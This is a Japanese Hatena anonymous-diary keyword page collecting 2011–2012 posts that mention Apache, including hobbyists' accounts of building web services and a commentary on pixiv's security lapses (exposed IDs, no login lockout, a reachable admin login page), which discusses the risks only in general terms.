「Apache」を含む日記 RSS

はてなキーワード: Apacheとは

2012-02-11

Web企業バックエンドエンジニアとして必要な知識メモ

そこそこPVがある場合。そうでなかったら、どうにでも動くしね。

基本はLAMPなんですけど、オペレーションの部分も分かってないと即戦力にはならんと思う。


かいWEB企業でも、下記をわかってて、ちゃんとできる人ってそんないねーよな、っていうことを最近知ったお。

もちろんフロントエンドまで一人で担当する場合もっと必要な知識が増えるわけだが。

そう考えると、「ふつうエンジニア」に到達できるのって、3年とか5年とか10年とか普通にかかるよなーって思うわけですよ。

2012-01-07

事務職リーマンwebサービス作ってみた

Webシステムとは縁遠い事務職のリーマンが、ある日思い立って、ニッチな用途の検索エンジンサービス作ってみたので、ちょっと書いてみようと思います

ちなみに、検索エンジンといっても、googleカスタム検索とかのお茶濁し系じゃなくて、apache Solrというオープンソース検索エンジンを、VPS上で動かしているという、それなりに本

気度の高いものです。

なんで素人がそんな物騒なものを動かす羽目になったかは、後述。



アイデアときっかけ

やりたい構想みたいなことを思いついたのは、もう6、7年前ほど前のこと。初めて独り暮らしを始めたときに、ひどく不便を感じたことがあり、こんなサービスがあったら便利だなあ、

と、ぼんやり妄想していました。

ちなみにその妄想をふと高校の同期に話したとき、そのサービスはどこにあるのか?!と、えらくがっつかれたのを、覚えてます。まあ、俺と同じく偏執狂の奴だったからだと思います

が。

ただ、しがない事務職リーマンということもあり、当然、技術も無く、そのときは、やるならこんな名前サービス名だろうなあ、とか、そんな妄想レベルで、話は終わっていました。

そんな感じで、5年ほど月日は経ち、なんとなくリーマン人生の流れも見えてきたところで、以前、妄想していたことを、ふと思い出しました。

5年も経ったら、さすがに自分が考えたようなこと、誰かがやっているだろうと調べてみたところ、意外なことに、競合になるようなサービス存在せず。ちょうど異動があって、少し時

間が出来たこともあり、じゃあ、着手してみようかと思い立ちました。



やりたいことは非常に面倒だった

やりたいことは、大手サイト情報検索。ただ、商品ページ内の特定情報、それも、商品ごとに正規化されていない表記を、正規化して抽出する必要があったので、大手サイトの既設API

だけではとても実現不可能でした。

まあ、だからこそ、5年間、誰もやろうとしなかったんでしょうが

ということで、とても一発では解決できなさそうな内容だったので、自分でなんとか実現できそうな機能に細分化して、各個撃破していくことにしました。



面倒なサービスをどう実現するか

随分と考えた結果、

以上に区分できると考えて、これらを各個撃破していくこととしました。

また、技術もなく、プログラミングも出来ず、ましてやlinuxサーバのお守りをしたことなんて当然ないので、インターネット上に置くサーバですべての処理を完結させるのではなく、イ

ンターネット上に置くリソースは最小限に留め、できる限り、勝手がわかる自宅のwindowsパソコンで処理を行うことにしました。

ちなみにさらっと結論だけ書いてますが、ここまで至るまでに、いろいろと調べ続たり、考え込んだりしていたので、思い立ってから3ヵ月は掛かってます。。。



検索エンジン周りの開発

さて、やる方針を決めたあと、はじめに着手したのは、要の検索エンジンサーバです。

いろいろとググって調べて、mySQLというやつか、apache Solrというやつかに絞りましたが、結局、Solrを使うことにしました。

MySQLのほうが実績は多そうだったのですが、Solrのほうが検索専門で、滅茶苦茶動作が速いらしいということ、MySQLでも出来るが特に速度が遅いらしい全文検索機能も使いたかったこ

と、あとファセット機能ジャンル絞りこみに便利に使えそうだったので、というのが理由です。

ちょうどSolr本が発売されていたこともあり、それを参考に、自分が使うように設定ファイルを変更していきました。

しかし、初めは設定ファイルの内容も意味不明な上に、私の書き方も雑なのか、少しいじっただけでまったく動かなくなる。結局、設定ファイルを一文字ずつ変更しては動作検証、とい

った始末で、進捗は地を這うよう。ある程度思い通りにSolrを扱えるようになるまで、3ヵ月以上掛かったでしょうか。。。

さらに、検索エンジンフロントエンドSolr検索結果を、htmlに変換するプログラム)も書かなければならない。プログラミングが出来ない人間には、これが本当に辛かった。

Solr本に、いろんなプログラミング言語でサンプルがあったのですが、迷った末に、わずか数行なら書いた(≒コピペした)経験があるという理由で、javascriptを苦渋の選択。

しかし、選択はしてみたが、基礎が本当に無いから内容がサッパリ頭に入ってこない。こちらも、わかるところから本当に1文字ずつ変えていくといった手探り状態。

プログラミングについては、今回のためだけだから、といった理由で、一切基礎をやらずに着手したのが裏目に出たのか、サンプルのソースをモノにして、書き上げるのに、ゆうに半年

以上。本当に時間が掛かりました。



kanzen21.comに衝撃を受ける

さらに、Solr周りで計9ヶ月間ハマっていた頃、忘れもしない、kanzen21のおっさん彗星のように現れて、衝撃を受けることになります

大手サイトのページをクロールして検索エンジンを作る手法は、私と考えていた構想の枠組みとまさに「完全に一致」な訳で。。。

図書館事件に注目していたのも同じで、あまりの一致具合に衝撃を受けっぱなしでした。

その後の成り行き等も含めて、興味深く観察させて頂き、本当に参考になりました。



クローラ周りとかの開発

そんな感じで紆余曲折もありましたが、ようやく難題だった、プログラミング関連に目処が立ってきたので、あとはクローラと肝心のデータ処理です。ここからは、勝手知ったるwindows

の領域なので、多少の安心感があります

まず、クローラですが、専用のクローラwindows用に探してきたり、それを設定するのも大変なので、今回はテレホーダイ時代に使っていたような、フリーweb巡回ソフトを利用する

こととしました。指定のhtmlダウンロードしてくるだけなので、別に変に新しいものに手を出す必要もないので。

また、ダウンロードしてきたhtmlファイルについては、これまたフリー日本語処理ツールでcsv方式に加工することにして、処理ルール部分を相当に作り込みました。

このあたりは、全体を通して見てもキモの部分なんですが、ある意味ちょっとしたパズル感覚だったので、プログラミング言語の部分と違って、かなり楽しかったです。

あとは、msdosバッチファイル(これは前から知っていた)で、これらの処理を繋ぎcygwincurlかいうツールで、連続して検索エンジンサーバcsvファイルアップロードする

仕組みを作りました

検索エンジンサーバには、容量は少ないが、安くて高性能という、今回の用途にピッタリだった、さくらVPSを借りて設定。CentOSサーバ構築ホームページを見ながら、サーバとか

Solr管理URLとかにセキュリティを掛けて、こちらも素人ながら、意外とすんなり設定。

ホームページは、vpsサーバ相乗りさせるのではなく、別にさくらレンタルサーバを借りました。apacheの設定方法等を習得する必要がありませんし、vpsリソースapacheと分け

合う必要が無くなるので。ホームページhtmlファイルcssファイル等も調べながら設定し、画像も準備しました。

あと、構想を思いついたとき妄想していたサービス名の.comドメインは、すでに他者に取得されていたのですが、どうも使っている風にも見えなかったので、whoisで出てきたメール

ドレスに連絡して交渉し、幾ばくか払って買い取りました。



ようやく完成

結局、足かけ18か月。ようやく完成。



楽天市場家具を、幅x奥行x高さ(家具サイズ)で検索できる、楽天市場家具カテゴリ専門の検索エンジン

カグサイズ検索

http://kagusize.com



この商品数規模(データ収録約30万アイテム)で、1センチ単位家具サイズ指定検索が可能な手段は、商用サービスも含めて、ほかには存在しないと思います

kanzen21と違って、エロじゃないから華はないけどね。。。




カグサイズ検索提供する価値について

ちなみに冒頭で少し書いたきっかけですが、就職して独り暮らしを開始したときに、新しい家にピッタリサイズ家具が欲しかったのですが、これが楽天で探すのは至難の技でして。

楽天家具を探してみようと思った人には判っていただけると思うのですが、楽天では、価格では範囲指定やソートができても、サイズでは検索出来ないんです。

これは、楽天では、商品のサイズ情報は商品の自由記述欄に記載することになっているためで、商品ごとにサイズの記載方法がバラバラのため、検索事実上、不能となっています

家電製品とかに関しては、種類が少ないこともあり、メーカーホームページとかでサイズを確認した上で、商品型番で検索すればいいので、それほど問題にはならないのですが、家具

って、種類が非常に多く、型番もあったり無かったりで、家電のようにサイズを調べることができません。

しかも、サイズが非常に重要な商品です。なんて不便な!


・・・ということで、カグサイズでは、楽天の商品ページにいろいろな書式で書かれているサイズ情報を拾って解析して正規化し、範囲指定やソートして検索ができるようにしています

また、単に寸法サイズを拾うだけでは、梱包サイズとか引き出し内寸とかも引っ掛かってしまうので、それらは出来るだけ排除して、商品の外寸が優先して引っ掛かるよう、アルゴリズ

ムを調整しています

単位センチミリ)に関しても、商品ごとにバラバラ(単に単位だけでなく、商品説明のどこに"センチ"とか"ミリ"と記載しているかについてもバラバラです。)なので、サイズ表記

前後の状況をみて、正しいと思われる単位で拾うようにしています




その他

あと、変わった使い方としては、欲しい家具価格比較みたいなこともできます

家具は、同じ商品でも、店ごとに型番が違ったりすることがよくあり、簡単には価格比較が行いづらいジャンルの商品です。

しかし、型番は違っても、同じ商品なら原則、サイズは同じですから、欲しい商品とまったく同じサイズ検索をかけると、同等商品があるのかどうか比較しやすい・・・といった使い

方もできます


おわりに

と、そんな感じで、しがない事務職リーマン作ってみたニッチな用途の検索webサービスを、サービスインさせて頂きました。

一般に公開されていて、誰でもアクセスできる情報でも、ニーズが有りそうな切り口の条件で検索性を高めれば、新しい価値創造できるんじゃないかという実験です。

もしよろしければ、ぜひ、使ってみてくださいー。それでは!

----------

カグサイズ検索

http://kagusize.com


追記

アップ直前の変更により、最大サイズの指定がうまく働かなくなっていたため、修正をしました。ご指摘有難うございました。

2011-12-05

初心者がたった5ヶ月でウェブサービスを作る方法

完全な初心者の状態から勉強を始めてから大体5ヶ月でウェブサービスが完成したので何を用意したり何をどうやって勉強したらいいのか色々書いてみました。

アイデアはあるんだけど、プログラムとか難しそうで自分にはウェブサービスなんて作れないと思ってる人がいたらその敷居を少しでも低くできたらいいなあなんてと思ってます


ちなみにボクはぼんやり1年くらいはてなブックマークにのってる記事を見ていてプログラムとかできたらいいよなあなんて思っていてようやく重い腰をあげた人です

さらに自分文系数学英語もロクにできない人なので、基本的に誰でもサイトは作れると思います

そもそも中学生でもプログラミングができるんだから大人に出来ないわけないですよね。


これからウェブサービスを作りたいっていう方の参考になればと思います

自分初心者なのでまちがってることがあったら教えてください。



●何を用意すればいいのか

自分Windowsなので何個かWindows向けのソフトを紹介しています

Macの方は申し訳ないですが、Mac向けのソフトをご自分で探してください。



(1)メモ帳

基本的にウェブサービスの開発はメモ帳でできます

アドビdreamweaverっていう便利なソフトがあるらしいですお金もかかるし別に必要もないと思います

ただのメモ帳だと使いづらいのでボクは「TeraPad」っていうフリーソフトを使っています

例えばプログラム言語ごとに表示を切り替えると、関数とかコメント部分の色が変わって見やすくなって便利です

TeraPadhttp://www5f.biglobe.ne.jp/t-susumu/library/tpad.html



(2)PCブラウザ各種

サイトを作っても各ブラウザごとに見え方が違うのでそれぞれ確認するために何種類かブラウザインストールしましょう。

ボクはIEFireFoxChromeの3つをそれぞれ表示して確認していました。

OperaとかSafariも本当は確認しないといけないと思うんですがこの3つで十分だと思います



(3)XAMPP

ザンプって読みます。ざっくり言うとローカル環境(自分パソコン)でプログラムを動かす環境を作るソフトです

いちいちサーバーアップロードしなくても、プログラムが動くかを確認できるので便利です

またレンタルサーバープログラム暴走してしまうと迷惑がかかるらしいのであらかじめ自分パソコンで確認するのがいいようです

XAMPPhttp://www.apachefriends.org/jp/xampp-windows.html



(4)ドメイン

何とかドットコムっていうやつですネット上の住所的なやつですexample.comとかexample.netとか。

ボクはお名前.comでドメインとりました。ドメイン個人情報を隠せる?サービスがあるのが理由です

まあどこで取っても大して変わらないと思うので目についたところで取るといいと思います

「.com」だったら年間1000円くらいです。長すぎるドメインはとらない方がいいかです



(5)サーバー

ネット上にファイルアップロードするところですドメインが住所だとすると土地みたいなイメージです

ボクはさくらインターネットさんのレンタルサーバー(スタンダードプラン)を借りています

理由はグリー社長さんがほめてたから。お金も月額500円なので安いです

同じ500円だとニコニコ動画プレミアム会員になれますね。ちなみにボクは一般会員です



(6)FTPソフト

さっきファイルアップロードとかさりげなく書きましたが、そのファイルアップロードするソフトFTPソフトです

ボクはFFFTPを使っています最初使い方がわからなくて戸惑いましたが慣れれば簡単です

FFFTPhttp://www2.biglobe.ne.jp/~sota/



(7)FireMobileSimulator(FireFoxアドオン)

携帯電話サイトを確認するには基本的に実機で確認するのが一番ですが、個人で全部そろえるのは難しいです

そこでFireFoxアドオンのFireMobileSimulatorという拡張機能を使って簡易的に確認するのがおすすめです

XAMPPのようなローカルサーバでも確認することができます

・FireMobileSimulator : http://firemobilesimulator.org/



(8)スマホまたはスマホを持ってる友達

FireMobileSimulatorで確認できるといってもやはり見え方は違います。念のため実機で確認しましょう。

ボクはiphone使っていてそれの確認はしてるんですが、android友達がおらんのでまだ確認してなくて実はまだ不安だったりしてます



(9)3キャリアガラケーまたはガラケーを持ってる友達

上と同じようにやはり実機で確認した方がいいです特にガラケーは見え方もそうですが、プログラムがうまく動かなかったりします。

例えば、AUだけフォームに「enctype="multipart/form-data"」を入れてると文字化けするという謎の現象が起きたり。

他にも色々あって制作時間がかかったのは正直このガラケーのせいです。色々3キャリアで統一とかしてくれないんですかねえこれ。。。

友達のY君とMさんとNさん本当にありがとうございました匿名ブログだけど感謝してます




●何を勉強すればいいのか。


さて具体的に何を勉強すればいいのかわからない人がいると思いますが、以下を勉強すればウェブサービスが作れます

ということでひとつずつ説明。



(1) html/css

マークアップ言語っていうらしいですプログラムじゃなくてhtmlファイルを作る言語です

とりあえずhtmlサイトの文書の論理構造を書いて、cssサイトの見た目をキレイにするものだと思ってください。


適当検索すれば勉強できるサイトがたくさん出てくるのでそこで勉強してください。

本も売ってますけど基本的なところは難しくないので買う必要はないと思います

かいところはその都度検索すれば大丈夫です



調べると、html5とかxhtmlとかあって戸惑うかもしれませんが、とりあえずPCスマホなら何でもいいと思います

(ガラケーについては各キャリアごとに対応させる必要があります。書くとすごい長くなるのでガラケー用にサイトが作りたいなら調べてみてください。)

ただhtml5が一番新しいので今後勉強される人はそれの方がいいかもしれないです

ちなみにボクはたまたま見たサイトxhtmlの説明だったので今回はxhtml作りました



実際やってみるとわかりますが、思ってるよりずっと簡単です

まだボクは90年代初頭のホームページみたいなデザインしかできないので偉そうなことは言えないんですが(笑)



(2) PHP/MySQL

プログラミング言語データベースです

最初htmlだけでサイトが作れると思っていたんですが、はてなのような動的なサイトを作るときは何かしらプログラミングする必要があります

んで、いろいろ調べるとperlやらRubyやらJAVAやら色々でてきて一体どのプログラム言語がいいのか悩むと思いますウェブサービスが作りたいならPHPがいいと思います

理由はウェブに特化した言語っていうのと他に比べると簡単で勉強時間が少なくて済むらしいので。



PHPなんかで本なんか買う必要はないらしいんですが、ネットサイトだとよく理解ができなかったので本を買いました。

以下の書籍がとてもわかりやすくていいですおすすめです。やっぱり本は体系的にまとまってるので勉強がしやすいです

「よくわかるPHP教科書(たにぐちまこと)」

http://www.amazon.co.jp/%E3%82%88%E3%81%8F%E3%82%8F%E3%81%8B%E3%82%8BPHP%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8-%E3%81%9F%E3%81%AB%E3%81%90%E3%81%A1-%E3%81%BE%E3%81%93%E3%81%A8/dp/4839933146



この本の通りやっていけばとりあえずプログラムが動く感覚が得られます

あとすごい賢そうなことをやってる感覚になるので頭がよくなったような気がしますよ(笑)



MySQLもこの本で勉強ができますMySQLというのはデータベースで、そういうソフトです

他にもOracleとかPostgreSQLとかあるらしいですが、

とりあえずMySQLSQL文っていうのを勉強するとデータ検索だったり、データアップデートだったりが数行でできたりするのですごい楽になります



決して簡単ではないですけど、思ったより難しくはなかったっていう印象です

自分は大抵その時理解できなくてもだいたい一晩寝てから、もう一度頭からやり直すと理解できました。



(3)Apache

アパッチって読みますウェブサーバーです

ボクはさくらさんのレンタルサーバーを借りていて今回はあまりいじってないんですが例えば「.htaccess」という名前ファイルを作るとapacheの設定をいじることができます

例えばアクセスされたくないファイルがあったらそういう指定を「.htaccess」というファイルに書いておけばアクセスされないようになります



(4)スマートフォン向けサイトの作り方

基本的にパソコンと同じように作ればいいです。ボクは以下の本を見て勉強しました。

iPhone+Androidスマートフォンサイト制作入門(たにぐちまこと)」

http://www.amazon.co.jp/iPhone-Android-%E3%82%B9%E3%83%9E%E3%83%BC%E3%83%88%E3%83%95%E3%82%A9%E3%83%B3%E3%82%B5%E3%82%A4%E3%83%88%E5%88%B6%E4%BD%9C%E5%85%A5%E9%96%80-WEB-PROFESSIONAL/dp/4048702181



正直ネット情報でも十分だと思いますが一度体系的に勉強するのもいいと思います



(5)ガラケー向けサイトの作り方

ガラケー向けのサイト制作は特殊で一度頭真っ白の状態で勉強した方がいいです。それだけPCスマホとは全然違います

ネットにも情報はたくさんありますが、断片的なものなので以下の書籍で体系的に勉強してから補助的にネットで調べた方がいいです

PHP×携帯 実践アプリケーション集(平島浩一郎他)」

http://www.amazon.co.jp/PHP%C3%97%E6%90%BA%E5%B8%AF%E3%82%B5%E3%82%A4%E3%83%88-%E5%AE%9F%E8%B7%B5%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E9%9B%86-%E6%A0%AA%E5%BC%8F%E4%BC%9A%E7%A4%BE%E3%83%9E%E3%82%A4%E3%83%8D%E3%83%83%E3%83%88%E3%83%BB%E3%82%B8%E3%83%A3%E3%83%91%E3%83%B3/dp/4797354356



この本は実践アプリケーション集というだけあってそのまま使えるコードが収録されているのがとてもいいです

正直PHPプログラミング自体はそこまで難しいという印象はなかったんですが、この本に出会わなかったら多分ガラケー向けのサイトは作れなかったと思います

もしガラケー向けのサイトが作りたいならこの本を買うのが近道だと思いますよ。




自分はまだやってないけど勉強したほうがいいもの



(1)PHPフレームワーク

CakePHPとかSymfontとかいうのがあるらしいです

このフレームワークを使うとあらかじめある程度のところまでできてるんで、ボクみたいに全部TeraPadで手書きしなくてもいいみたいです。。。



(2)javascript

PHPサーバーで動作するプログラム言語ですjavascriptブラウザ上で動作するプログラム言語です

非同期通信なんていうよくわかんないけど何かすごいこともできたりするらしいですよ。



●もし調べまくってもわからなかったら


もし一日中検索してもよくわからなかったらそういう時はネットの頭のいい人たちに質問しましょう。

ボクは以下のサイトで質問していました。



(1)ヤフー知恵袋

巷ではヤフー知恵遅れなんて言われてますが、コンピュータ系の質問に関してはしっかり教えてくれる人がほとんどです

ポイントを100枚くらい使うとカテゴリマスターなんていう天才が回答してくれます



(2)2ちゃんねる

2ちゃんねるの該当する質問スレに書いてください。

どういうスレッドなのかよく読んで質問しないとボロクソに言われますが、2ちゃんねるなのに皆さんすごい優しく教えてくれます

たまにケンカしてたりすることもありますがそのときケンカが終わるまで待ちましょう。ケンカの流れで質問がスルーされたりします。



ヤフー知恵袋2ちゃんねるもそうですけど、質問するとき自分環境をしっかり書いて何がしたいのか、どんなエラーがでるのか明確に書きましょう。

回答する人もわからないですし、自分がほしい回答がまず来ないと思います

あと当たり前ですが回答してくれたらお礼をしっかりいいましょうね。



●こうして出来上がったウェブサービス


こうやって今回できあがったのが6人まで登録ができる招待制レンタル掲示板です

「ひそり-秘密共有ネットワーク」(http://hisori.com/)です



なんだ掲示板かよー!!とか言わないでください(笑)これでもけっこうがんばったんで。。。

そういえばサイトを作ろうと思った経緯を書いてなかったんでちょろっと書いておきます


ボクはミクシィツイッターをやってるんですが、一瞬その時だけ仲のよかった人の更新とか見たくなかったりするんですよね。

でもマイミクを外したりフォローを外したり小心者のボクにはできなかったりするわけです



そもそもあーいうソーシャルって自分キャラ一貫性をもたせないといけないから窮屈なんですよね。

例えば、会社の同僚には真面目を絵を書いたようなキャラだけど学生時代友達には下ネタ好きのどうしようもないキャラだったりすると

マイミクフォロワーにその会社の同僚がいたら、下ネタなんか書きたくても書けないという窮屈さがソーシャルにはあるわけです



だったらあらかじめ人数制限しておいて、例えば同じ学生時代の人しか見ることができないサイトがあれば

下ネタだって気にしないで何でも書けるよねっていう考えに至ったわけです



今回6人までという人数制限と招待制っていう形にしているのはそういう理由と本当に仲のいい何でも話せるグループに使ってもらいたかたかです

んで、ネットにそういうのがなさそうだったので勉強がてら自分で作っちゃえ!ってことで今回作りました



ちなみに何で秘密共有ネットワークなのかというと「招待制無料レンタル掲示板」だとどんなサイトイメージがつかないと思ったかです

じゃあ何て名前にしようかと考えた結果、秘密でも何を書いても大丈夫ですという意味を込めて「秘密共有ネットワーク」って名前しました。

(秘密って普通はどこに書いてもいけないものじゃないですか)



とまあ、そういうことで初心者でボクみたいな完全文系の人でもこれくらいのサイトなら作れるんで

もしプログラムとか難しそうとかそういう理由でウェブサービス制作を躊躇してる人はぜひチャレンジしてみてださい!!



※もしサイトが変な挙動がしてるとかあったら更新報告用にツイッターアカウントを作ったんでよかったら教えてください。

http://twitter.com/#!/hisori_com/


ではでは。。。

2011-11-28

同じURLに、GETではアクセスできるのにPOSTだと404になる

何故だ…

Apacheログ見ても後者普通に404になってて、エラーログは出ていません

2011-10-28

IPv6だけでFreeBSDセットアップ

IPoEでIPv6が手軽に手に入るようになった

サーバIPv6アドレスだけつけてIPv6だけでどこまで出来るかやってみる

  • FreeBSD8.2-RELEASE
  • Address/Router
    • RAで入手
  • resolv.conf
    • DHCPv6か手動でNTTのを指定

SSHで入ってsquidgoogle,youtubeなどipv6対応サイトならこれで全く問題ない

2011-09-15

世界中「ありがとう」を集めるサービス作ってみた

THANKFUL WORLD - 世界を「ありがとう」でつなげよう -

似たようなサービスは既にあると思いますが、PHPプログラムの練習課題として作成してみました。

投稿から「ありがとう」にまつわる話を投稿してもらい、感謝の気持ちを伝えるサービスです


サービスを作った目的

この中で一番の目的だったのは3番目の最後までやり遂げるだったりします。

本当にどんなものでもよかったので、最後まで作り上げて公開するのを目標にやってきました。

システム環境

Apache+PHP+MySQLオーソドックスもの

Webサーバの構築課題も含めてなので、さくらVPSを一台契約しました。

インストールから設定まで行って初めて分かることも多くありました。

開発期間

1週間

思いついてから公開までの時間です

やって良かったこと

  • Webサーバについての知識が深まった
  • システムを構築するに当たっての手順や手法などを改めて考えさせられた
  • 次に向けての課題点が見つかったこと

次に自分が覚えることが見えたのは大きいです

今できることを高めることも重要ですが、自分に足りないものを吸収してより良い形で昇華することも必要。

反省すべき点

  • 思いつきで行動したため、行き当たりばったりで思っていたものとは異なる形となった
  • 最初設計時間をかけるべき

設計が全てだと思います

個人でサービスを作る以上、自分自身がクライアントなので途中で行う仕様変更改善や思いつきによる変更など)に対する文句のぶつけ場所もありません。

念入りに設計を行い、それに基づいて開発を行う。

当たり前のことですが当たり前に行うのが難しいです

何事も初めが肝心です

最後

ひと通り開発を行ってみて、自分の知識や能力についてもある程度把握できたように思えます

今できることもわかったので、次は今できないことをできるように知識を深め、

今できることと合わせて新たな段階に進めればと思います

長々とお読み頂きありがとうございました。

2011-08-29

ヤフー知恵袋API』 で 『ヤフーバカ袋』 を作った


背景

みんなも知っての通り、前々から2chなどでヤフー知恵袋が『Yahoo!バカ袋』『Yahoo!知恵遅れ』とネタにされています

たとえば

Q : 健康ランドのお風呂場で、オナニーした人いますか?

A : 申し訳ありません・・・ついつい気持よくなって・・・

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1252778297

Q : 食パンマンの顔は何枚切りなんですか?

A : 何枚切りだろうが、彼は二枚目です

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1315883

こんな質問するのは一体何者なんでしょうか。

おもしろいので、こういう質問を集めるサイトを作ってみました。


どんなサイト?

知恵袋URLコピペで登録するだけのシンプルサイトです

http://y-kichigai.info/

サイト名前は『ヤホーおバカ袋』となっていますが、最初は『Yahoo!キチガイ袋』でした。流石にヤフーさんに怒られるかなと思って控えめにしましたwww

ドメインキチガイのままですがw

当面は2chに挙がった質問をのっけていこうと思っています

ぜひみんなもおもしろい質問をのっけていってください^^

では技術面も書きます(キリッ


技術的なこと

Yahoo知恵袋APIOAuthを使って書き込みなども出来ますが、今回は記事の内容を取得するだけだったので楽でした。

ひとまずAPIを叩いてXMLを見て、あとは配列にして...と簡単にとれました。

環境Apache+PHP+MySQLを使っています。よくあるあれです

jqueryも使っていますjqueryプラグインはすごく豊富ajaxを使ったフォームもtwitter風のメッセージバーも超簡単に設置できました。

あと、cssyahoocssフレームワークを使っていますyahoo css gridsが便利で、http://developer.yahoo.com/yui/grids/builder/ これを使えば土台が簡単にできました。。

デザインアイコン載っけりゃいい感じに見えるので、http://photoshopvip.net/ からテキトウに見つけます


さいごに

読んでくれてありがとうございました^^!

せっかく作ったので、誰かに教えたくて。。。

ぜひ使って、おもしろい質問を共有しましょう^^

要望あればぜひぜひください。

2011-08-10

http://anond.hatelabo.jp/20110810170332

もし悪意のある人が侵入していたら、全ユーザークレジットカード情報を盗んだり

クレジット決済には外部の決済サービス使ってたんでしょ?それでもクレカ情報全部pixivが保持してたとか、さすがにちょっといくらなんでもないと思う。

pixivウイルスを仕込んだりできます

へ?管理画面とやらで何ができるかもわからないのに、それ言い切っちゃうの?

いや、絶対できないとは言わないよ。管理画面でJavaScript設置とかないとは言い切れないし。

時間で数年間のログを調べることができたのだろうか?

ログが残ってりゃ可能だろうね。

このようなジョークを仕込めるほどの人

apacheデフォルトindex.htmlを書き換えるだけの簡単なお仕事です。どれほどヘボな管理者でもやるつもりなら簡単にできます

ちょっと気の利いた管理者なら、apacheデフォルトindex.htmlを見せないようにするでしょうけど、そこまでではなかっただけかもしれませんね。

2011-08-09

pixivセキュリティ騒動についてまとめておく

togetterchromeが固まるくらい重いのと、書いてある内容に同意できてもエタ東となる4時の組み合わせは気分が悪いので、自分用に。

最初に書いておくと、これは特にpixiv擁護ではない。というより、擁護できる部分は特にない。

前提知識

pixivを擁護したがっている人たちというのがいて、連日出てくる問題を鎮火させようと頑張っている。

カオスラウンジとズブズブだったpixivも悪の企業であると認めず、pixivは悪くない、pixivは俺たちの居場所だ、と信じて自分たちの立場を守ろうとする。(俺正義タイプ

本の宣伝をしたいが代替サービスユーザーがまだ少ない。pixiv宣伝用に使い続けるしかないのからpixivを守りたい。(我欲タイプ

カオスラウンジ大好き!pixivも大好き!(信仰タイプ

pixivとかユーザーのことなんて全くどうでもいいけど、批判に対して反対意見を言える俺かっこいい。(自己顕示タイプ

大体想像できる動機はこんなところ。

メンツは固定しているないが、毎度の騒動で発生源となっているtogetterまとめを網羅的に眺めると、誰が鎮火しようとしているのか分かりやすい。

はてブでいうとb:id:sa_tieb:id:katsura_1b:id:tailtame辺りが該当。彼らを駆り立てているものは一体何なのか。(なお、エタ東も方向性が違うだけで同類にカテゴライズしている)

もっとも動機が不純だからといって、成すことが正しければ良い結果をもたらすこともあるし、独善が「悪事」としか呼べない暴走を引き起こすこともある。評価は人による。

ID漏洩騒動

pixivの新規登録画面は極めてシンプルで、pixiv idの用途については特に記されていない。(※要改善

登録するとユーザーにはユニーク数字idが付与されるので、pixiv idログイン用のみだと考えている人は少なからずいるようだ。

実際にはpixiv id名でディレクトリが作られるほか、スタックフィード(活動履歴)のidアカウントを共用するpixivブログや、姉妹サイトdrawrflashで手書きできるサイト)のidとして利用されている。

pixiv idを外部から見られないものとして、個人名を使うなどする人もいて、問題となったことは過去に数度ある。id変更の機能追加をするという話もあったが今のところは実現していない。

今回の騒動の発端となったのはこのpixiv id画像絶対パスから参照可能だ、という最初から判明していたことを何度運営に要望を出しても改善されないまま放置されたことに業を煮やしたことユーザー達のtwitterである

これを、「最初から判明していたことだから今更問題ではない」と擁護する連中が現れた。

IDパスロック騒動

id最初から漏洩するような仕様で、スタックフィードなどからidを参照することも可能だ」と判っても問題点を把握できないユーザーが多数いたことで、危機の周知は次段階に移る。

IDパスワードを同じにしている人は危ない。プレミアムユーザーならクレジット番号などの登録もしているので危ない。」と危険を訴えた。この辺りから「ただの言いがかりレベル」などと鎮火ツイートが広がる。

現在PCスペック技術の向上は目覚しく、家庭用でもハイスペックPCがあれば簡単なパスワードであれば数分~数十分で破ることもできるとされる。

が、それはメモリ内で高速に試行できるローカル環境上の話であって、web上のパスワード認証に対して必要とする時間は全く別物という視点が抜け落ちていて、とても現実的ではない。

だが、総当たりなどせずとも、簡単な単語IDと同じパスワード誕生日などであれば簡単にログインできてしまう可能性がある。

それを、「例えローカル上で10万回/秒でログイン試行できるPCでも、web上のパスワード認証に対しては通信とサーバーレスポンスボトルネックとなって100回/秒程度のパフォーマンスしか発揮できないと思う。並列で大量にリクエストを殺到させればサーバーが落ちるだけだし、そもそも膨大なオーダーのログイン攻撃が仕掛けられれば、突破するより前にファイヤーウォールが異常を関知するか、サーバー管理者が気付く。そもそもイラストコミュニティサイトに対して逮捕されるリスクを犯して潜入したところで、成りすまして暴言コメントを書いたり個人情報を抜く程度で、不正アクセスリスクにリターンが見合っていないわけで…。」

などと問題点すり替えて、指摘する側がさも間違っているかのように発言を繰り返す。

大手ポータルサイト銀行携帯キャリア、有料ポイント運用するネトゲなどであればそれなりに堅牢なログイン構造にするのが当然で、既に大手のお絵描きコミュニティしかカードの支払まで行われるサイトパスロックがないというのが問題でないはずがない。

httpsログインできないことも当然問題である

admin騒動

admin.pixiv.net他に接続するとグローバルIPからでもログイン認証が出てくるというもの。発覚したのは実は1年も前だという。今回twitter等で公になってからも1時間程度は誰もがアクセス可能であった。

あくまでログイン認証画面が出てくるだけで、ID/パスワードが判明したわけでもなく、webログイン認証に対するブルートフォースは非現実なのは変わらないが、「外部からadminツールにログイン可能」というセキュリティ意識の無さが露呈し、大騒ぎとなる。

更に話が広まる際には「adminツールが流出した」「バックドアが仕掛けられた」「ログインキーロガーが仕掛けられている」「アクセスするとウイルスを仕込まれる可能性がある」「今すぐ退会せよ」など虚実入り乱れた話となる。

普通に考えれば、外部からアクセス可能な状態で晒され続けたという事態が発覚した時点でサーバーを落として対策を取るはずなのだが、隠蔽体質に定評のあるpixivが何のアクションも起こさない為、念のためアクセスを控えるよう呼びかける。

「そこまで大事になっているのであればサーバーを落とすわけで、実害はない」などと見当違いな「俺の脳内pixivセキュリティ安全神話ツイートが擁護派から出てくる。

It workssl!騒動

admin.ads.pixiv.orgに接続すると「It workssl!」と表示されるもの。これがapacheデフォルト表示「It works!」と異なることから、「何者かに書き換えられたか、運営が謎のミスをしたのか」と疑惑生まれる。

ads.pixiv.orgは広告関連のサーバーのようだが、侵入された場合は他のサーバーも同様に危険である可能性が高く、「個人情報カード情報が抜かれる危険性もある」と指摘されると「万が一侵入されていても個人情報流出する可能性は低い」と根拠のないpixiv言い訳を持ち出す。

